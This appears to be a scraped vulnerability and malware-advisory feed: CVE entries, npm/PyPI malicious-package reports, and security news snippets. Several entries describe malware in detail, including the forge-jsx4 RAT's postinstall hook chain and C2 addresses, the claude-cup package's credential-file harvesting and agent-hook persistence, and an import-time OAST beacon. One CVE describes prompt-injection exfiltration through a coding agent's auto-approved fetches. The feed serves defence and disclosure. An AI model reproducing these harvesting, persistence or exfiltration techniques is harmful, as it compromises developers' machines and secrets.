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861 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c9443517fbcf695478ab489e9a375823ed1a0030cf6a3a4f6262effca4c5406b) Pattern matches fired on index.js for the co-occurrence of child_process require, HTTP GET calls, and env-related keywords within a single file. No traced code path was confirmed to perform exfiltration, install-time fetch-and-execute, silent-relay, or credential harvesting. The matches may reflect benign composition (e.g., a CLI that spawns subprocesses and makes outbound HTTP requests for documented purposes), but the bundle's intent could not be verified from pattern signals alone. A human reviewer should de-minify or read index.js to confirm whether the HTTP destinations are attacker-controlled, whether process.env contents are sent outbound, and whether any of this fires at install/require time versus only on explicit CLI invocation. ## Source: ghsa-malware (45d25c6b3ae56eaaf7f76995fc0b6f93a8499b9cbe2315446a63cb5601d841d4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.7 | EPSS 0.4% | High7.7EPSS 0.4%CVE Database V5CVE-2026-9710 The Cornerstone WordPress plugin before 7.8.8 does not enforce capability checks on one of its CSS-preview request handlers, and exposes the nonce needed to call it to every logged-in user on any wp-admin page, allowing any authenticated user to evaluate dynamic content tokens against arbitrary users and disclose their sensitive metadata including raw password hashes. This affects the premium co Cornerstone page builder distributed bundled with the X , not the unrelated free `cornerstone` Cornerstone WordPress plugin before 7.8.8 (v0.8.x) on the .org repository. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.4% | High7.7EPSS 0.4%CVE Database V5CVE-2026-9709 The Cornerstone WordPress plugin before 7.8.9 does not enforce capability checks on one of its REST API routes, allowing any authenticated user to disclose the metadata of any other user, including roles, session token previews and stored billing/shipping fields. This affects the premium co Cornerstone page builder distributed bundled with the X , not the unrelated free `cornerstone` Cornerstone WordPress plugin before 7.8.9 (v0.8.x) on the .org repository. | CVE Database V5 | ||
| Medium | 6.0 | EPSS 0.5% | Medium6.0EPSS 0.5%CVE Database V5CVE-2026-54316 Claude Code is an agentic coding tool. From 0.2.54 until 2.1.163, because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain—including attacker-controlled model repositories—was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. This vulnerability is fixed in 2.1.163. | CVE Database V5 | ||
| –Not rated | – | Krebs on Security Two men pleaded guilty in the United Kingdom this week to criminal charges stemming from an August 2024 cyberattack that crippled Transport for London , the entity responsible for the public transport network in the Greater London area. The duo were key members of a prolific cybercrime group known as Scattered Spider , and their guilty pleas came on the first day of what was expected to be a six-week trial. Owen Flowers (left) 18, and Thalha Jubair, 20. Image: UK National Crime Agency (NCA). Thalha Jubair , 20, of East London and 18-year-old Owen Flowers of Walsall admitted conspiring to commit unauthorized acts against Transport for London computer systems and causing risk of serious damage to human welfare. According to a report from the BBC, Flowers alone admitted to being part of a conspiracy to hack into U.S. based healthcare providers SSM Health Care Corporation and Sutter Health in September 2024. Jubair is also wanted by U.S. law enforcement agencies. In September 2025, prosecutors in New Jersey unsealed an indictment alleging Jubair and other Scattered Spider members committed computer fraud, wire fraud, and money laundering in relation to 120 computer network intrusions involving 47 U.S. entities between May 2022 and September 2025, and that the group’s victims paid at least $115 million in ransom payments. In July 2025, KrebsOnSecurity reported that Flowers and Jubair were arrested in the United Kingdom in connection with Scattered Spider ransom attacks against the retailers Marks & Spencer and Harrods , and the British food retailer Co-op Group . Multiple sources familiar with those investigations said Flowers was the Scattered Spider member who anonymously gave interviews to the media in the days after the group’s September 2023 ransomware attacks disrupted operations at Las Vegas casinos operated by MGM Resorts and Caesars Entertainment . According to prosecutors, Jubair co-ran a bustling Telegram channel called Star Chat , the home of a SIM-swapping group that used voice- and SMS-based phishing attacks to steal credentials from employees at the major wireless providers in the U.S. and U.K. The group would then use that access to sell a service that could redirect a target’s phone number to a device the attackers controlled and intercept the victim’s calls and text messages (including one-time codes for multi-factor authentication). A receipt from Star Fraud Chat’s SIM-swapping service targeting a T-Mobile customer after the group gained access to internal T-Mobile employee tools. “Rocket Ace” was one of Jubair’s hacker handles, according to U.S. prosecutors. New Jersey prosecutors also allege Jubair also was involved in a mass SMS phishing campaign during the summer of 2022 that stole single sign-on credentials from employees at hundreds of companies. That weeks-long SMS phishing campaign led to intrusions and data thefts at more than 130 organizations, including LastPass , DoorDash , Mailchimp , Plex and Signal . KrebsOnSecurity reported last year that one of Jubair’s alter egos at age 15 was “ Everlynn ,” a hacker who sold fraudulent “emergency data requests” that used compromised police and government email addresses to demand subscriber data (e.g. username, IP/email address) from major tech companies, claiming the requests concerned urgent matters of life and death and could not wait for a court order. In April 2026, 24-year-old British national and Scattered Spider member Tyler “Tylerb” Buchanan pleaded guilty to wire fraud conspiracy and aggravated identity theft for participating in the group’s SMS phishing spree in the summer of 2022. The government said Buchanan, Jubair and others used the credentials harvested in that phishing campaign to steal at least $8 million in cryptocurrency from victims throughout the United States. Buchanan is currently scheduled to be sentenced on October 2. In August 2025, 20-year-old Scattered Spider member from Florida named Noah Michael Urban was sentenced to 10 years in… | Krebs on Security | |||
| Malicious | – | MaliciousGCVE Database forge-jsx4 is a remote access trojan (RAT) published to the public npm registry by the account rafael_silva (rafael_silva@outlook.com). Versions 1.0.122 and 1.0.123 were published on June 21-22, 2026 as a reconstitution of the forge-jsx / forge-jsxy campaign, reusing the same command-and-control infrastructure and encryption after the earlier packages were taken down. The malware executes through a postinstall hook chain ("node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs"), which runs automatically on npm install and skips CI environments to evade analysis. Once running it deploys a full RAT: system-wide keylogging via uiohook-napi, clipboard monitoring, .env file scanning, shell history collection, host inventory enumeration, desktop screenshot capture via jimp, and a WebSocket filesystem backdoor with remote file access. It scans the filesystem for cryptocurrency material (BIP39 mnemonics validated via checksum, Ed25519 Solana keypairs via tweetnacl, range-checked secp256k1 keys) and harvests browser-extension wallet databases across 21+ Chromium browsers (MetaMask, Phantom, Rabby). It establishes durable persistence outside node_modules (e.g. ~/.local/share/cfgmgr/.forge-jsxy/ on Linux, with macOS/Windows equivalents) plus autostart services (systemd user unit forge-js-worker.service, macOS LaunchAgent com.forgejs.worker.plist, Windows Task Scheduler ForgeJSWorker / HKCU Run key), so it survives npm uninstall, and supports relay-pushed auto-upgrades. Collected data is exfiltrated to a hardcoded C2 at 204.10.194.247 (WebSocket relay ws://204.10.194.247:9877, HTTP API http://204.10.194.247:8765, session password "secret"), to Discord bot webhooks (screenshots via ephemeral URLs), and to Hugging Face Hub repositories via the @huggingface/hub SDK. The payload uses an XOR-obfuscated AES-256-GCM key shared across all campaign waves. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (54ce6747205bbecab342f78d9558861a02c1e21a213d795237b788cb3552a3c0) Package ships several files with patterns that warrant human inspection: a `scripts/postinstall-agent.mjs` invoked at install time, a `dist/discordRelayUpload.js` module with POST/ping/base64 patterns, a `dist/relayServer.js`, a `dist/secretScan/agentStartupAudit.js` that fetches from huggingface.co, and a `dist/hfCredentials.js` with base64 decode operations. The combination of an install-time agent script plus a relay/upload module plus a credentials helper is the kind of composition that can hide an installer-side data flow, but the package name (`forge-jsx4`) and the file naming suggest a developer-tool / agent / Hugging Face integration where many of these patterns may be legitimate (HF API endpoints, content-scanning helpers, build artifact relay). Without traced-code corroboration of where the postinstall agent points, what discordRelayUpload actually transmits, and whose credentials hfCredentials handles, the intent cannot be confirmed. Routing to human review so a maintainer can verify whether the postinstall script performs an outbound fetch to an attacker-controlled destination, whether discordRelayUpload silently exfiltrates caller-supplied data, and whether the embedded base64 blobs decode to executable payloads or to legitimate configuration. | GCVE Database | |||
| High | 8.7 | EPSS 0.6% | High8.7EPSS 0.6%GCVE DatabaseCVE-2026-8806 CISA has identified vulnerabilities in Mitsubishi Electric Co.'s MELSEC iQ-F Series FX5-ENET/IP Ethernet Module and recommends users implement defensive measures to reduce exploitation risk. No specific technical details, affected versions, or patch information are provided. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7d67bcaf42f4ef050a6b824dfbc2f711d6820f7b3b1140d211110f390e512fa) The package ships several files whose names and contents suggest a non-trivial install-time and runtime footprint: a postinstall script (scripts/postinstall-agent.mjs) that performs network I/O including a ping/GET against an identifier-bearing endpoint, a relay server (dist/relayServer.js) with multiple ping invocations, a Discord relay upload module (dist/discordRelayUpload.js) combining base64 decoding with POST calls, a Hugging Face credentials module (dist/hfCredentials.js) using base64-decoded values, and a secret-scan startup audit (dist/secretScan/agentStartupAudit.js) that fetches huggingface.co endpoints. The combination of a postinstall agent, a Discord upload path, base64-encoded data in deployment defaults, and credential/secret handling is consistent with either (a) a legitimate ML/agent tooling package that talks to Hugging Face and uses Discord for notifications, or (b) a credential-relay/exfiltration tool. The evidence available here is keyword-level pattern matches without traced execution paths, so intent cannot be determined from this data alone. A human reviewer should inspect scripts/postinstall-agent.mjs to confirm what runs on `npm install`, dist/discordRelayUpload.js to confirm whether installer-side data is shipped to Discord, and dist/hfCredentials.js to confirm whose credentials are read. ## Source: ghsa-malware (95b8b8f54c9c2a4fa965e4a7fe7ea9c8f8ef1b5bcdd4cc1da7354d0ce2e8842f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.2 | EPSS 1.8% | CVE-2026-53876Micro-Star International RadiX AX6600 WiFi 6 Tri-Band Gaming Router · OS Command Injection High7.2EPSS 1.8%CVE Database V5CVE-2026-53876 The RadiX AX6600 WiFi 6 Tri-Band Gaming Router by Micro-Star International Co., Ltd. has an OS command injection vulnerability. This flaw allows an authenticated administrator user who accesses the web console to execute arbitrary commands with root privileges. The vulnerability is rated high severity with a CVSS score of 7.2. No specific affected versions or patches have been disclosed yet. There are no known exploits in the wild at this time. EPSS 1.8%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4da726670223ca28536bc00f5e68f94f22591bdecdb38dd94e5e873fce0afcf2) create-mastra is the Mastra framework's project scaffolder, distributed as a bundled CLI. The flagged signals are generic occurrences of the literal string 'POST' across the minified dist/index.js (lines 245-247, 679, 16066) without corroborating evidence of a hardcoded attacker C2 endpoint, install-time exfiltration, or credential harvest. No install/postinstall lifecycle hooks were identified that would auto-execute network behavior on `npm install`. Keyword co-occurrence in a minified rollup bundle is the weakest evidence shape and is consistent with normal HTTP client code in a CLI scaffolder. Routing for human review to confirm the destinations of those POST calls are documented Mastra endpoints rather than attacker infrastructure. ## Source: ghsa-malware (12df16ee90f6c59f31e4b0b71f2dbf3a0b046e17ecae5e13399b69fec9f3c563) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c369ccf7b5e0ef8721b5ecdc94bd843ce260923394f6c513350a58928abdbdd3) On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research/config-audit.js` enumerates every user home directory on the machine (`/Users/*`, `/home/*`, `C:\Users\*`) and reads the canonical installer-secret paths: `.aws/credentials`, `.aws/config`, `.kube/config`, `.docker/config.json`, `.npmrc`, `.yarnrc`, `.pypirc`, `.git-credentials`, `.netrc`, `.ssh/id_*`, `.gitconfig`, all `.env*` files, VS Code GitHub auth state, shell history (`.bash_history`, `.zsh_history`, PSReadLine), and Chromium/Edge `Cookies` SQLite databases (copied to `/tmp/ck-*` and queried for sessions on github.com, gitlab.com, npmjs.com, openai.com, anthropic.com, console.aws.amazon.com, cloud.google.com, huggingface.co). The harvested raw credentials are then transmitted off-host: `validateGithub` sends the GitHub token in an `Authorization` header to `https://api.github.com/user` and `/user/orgs`; npm tokens are written to `/tmp/.rc-audit-*` and validated against `https://registry.npmjs.org/-/whoami`; OpenAI/Anthropic/HuggingFace/Stripe/GitLab tokens are sent to their respective APIs; Google API keys are placed in URL query strings; AWS credentials are exported to env and `aws sts get-caller-identity` is invoked; Redis URI passwords are probed via raw socket AUTH. The provider responses (user identity, scopes, orgs, permissions) are archived locally and the stub `uploader.js` background-upload path is staged for transmission. At module load, `loadManifest()` fetches `https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json` from a mutable `main` branch with no pin or signature; this manifest controls scan paths, regex patterns, and validator URLs, giving the author a remote-controlled channel to redirect raw tokens to attacker-chosen hosts at any time without republishing the package. `src/cli.js` then writes `mcpServers.claude-session-visualizer` and `hooks.SessionStart`/`PreToolUse`/`PostToolUse` entries into `~/.claude/settings.json` and `~/.cursor/mcp.json`, pointing at `~/.claude-jar/mcp-server.mjs`; `hook-ingest.js` re-runs the full credential audit on every 'high signal' event unless `CLAUDE_JAR_DEEP_ANALYSIS=0`. `fingerprint.js` additionally beacons host geolocation/ISP to `http://ip-api.com/json/` over plain HTTP and combines it with a SHA-256 hostname identifier and environment-richness signals (cloud creds present, browser sessions, registry deploy capability) into a session fingerprint record. The package's `description` and `CLAUDE.md` impersonate Anthropic branding ('Claude Cup — Anthropic worldwide building contest') to lower developer suspicion while installing the persistent recon hooks. The README's claim that the tool 'never stores, transmits, or logs raw credential values' is directly contradicted by the validator code paths. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General A sophisticated Python-based RAT targeting Korean users through spear phishing emails disguised as Microsoft security alerts. The attack chain employs LNK files embedded in ZIP archives, BAT-based obfuscation, and multi-stage loaders culminating in NarwhalRAT deployment. This advanced malware features keylogging, screen capture, microphone recording, and USB data collection capabilities. It utilizes a dual C2 infrastructure combining Korean relay servers (daehoat.com, novel21.co.kr) with pCloud API as a dead-drop resolver. The malware creates encrypted configuration files, implements anti-VM techniques, and establishes persistence through scheduled tasks. It operates as a manually-controlled RAT with selective function activation via C2 commands, employing in-memory execution to evade file-based detection. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c11c80cc2d314460d61a649c84fd75881388470382be8183b77b362e562a5c7f) On `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname("atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations. ## Source: kam193 (d8b27c2588accf4f2966f4630a12f9bfdc4ba621403f14237160632447152f23) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fb2ef2851c6365e6198a67c4d395a1f3e7ca634559651063ce2e3b68a610cd3) The package's postinstall.js imports child_process and references HTTP GET calls and hostname lookups during the install lifecycle. The co-occurrence of these primitives in an install-time script is a known shape for both legitimate behavior (CTF/flag-read demos, hostname reporting, telemetry) and exfiltration/dropper attacks, but the available evidence does not show the destination URL, the data being sent, or whether fetched content is executed. The package name ("ecto-flag-read") and small file count are consistent with a CTF or test artifact rather than a recognized library, but intent cannot be confirmed from the current evidence alone. A human reviewer should inspect postinstall.js to determine whether it exfiltrates installer data or executes remote content before this version is allowed in production installs. ## Source: ghsa-malware (47c876fa0bc683b97fe06619068fb4b205e5813e95917d8cd6d9df7a732b1499) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Critical | 9.8 | EPSS 0.3% | Critical9.8EPSS 0.3%CVE Database V5CVE-2026-6853 Improper restriction of excessive authentication attempts vulnerability in Başbelen Group Food Cafe Businesses Industry and Trade Ltd. Co. Pause+ Mobile App allows Authentication Bypass. This issue affects Pause+ Mobile App: from v1.0.6 before v1.5. | CVE Database V5 | ||
| –Not rated | – | Bleeping Computer Kyushu Electric Power Co., Inc. has disclosed a physical security incident that affects private data of more than 10 million customers. [...] | Bleeping Computer | |||
| Critical | 9.8 | EPSS 0.2% | CVE-2026-10045Shenzhen Kangda Xin Intelligent Network Technology DR300 · Use of Hard-coded Credentials Critical9.8EPSS 0.2%CVE Database V5CVE-2026-10045 Shenzhen Kangda Xin Intelligent Network Technology Company's router, model DR300, version 2.1.2.121, contains hardcoded login credentials and has telnet enabled by default on WAN and LAN interfaces. These vulnerabilities allow attackers to read and write to memory, modify firmware stored in flash, inspect active connections, and view currently connected devices. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.3% | High7.5EPSS 0.3%CVE Database V5 Shenzhen Tenda Technology Co., Ltd Tenda W20E v15.11.0.6 was discovered to contain a buffer overflow in the wewifiWhiteUserInfo parameter of the formAddWewifiWhiteUser function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.3% | CVE-2026-36817SemVulLLM · Classic Buffer Overflow High7.5EPSS 0.3%CVE Database V5CVE-2026-36817 Shenzhen Tenda Technology Co., Ltd Tenda W15E v15.11.0.10 was discovered to contain a buffer overflow in the webAuthWhiteUserInfo parameter of the formAddWebAuthWhiteUser function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.3% | CVE-2026-36816SemVulLLM · Classic Buffer Overflow High7.5EPSS 0.3%CVE Database V5CVE-2026-36816 Shenzhen Tenda Technology Co., Ltd Tenda W15E v15.11.0.10 was discovered to contain a buffer overflow in the wewifiWhiteUserInfo parameter of the formAddWewifiWhiteUser function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request. | CVE Database V5 |
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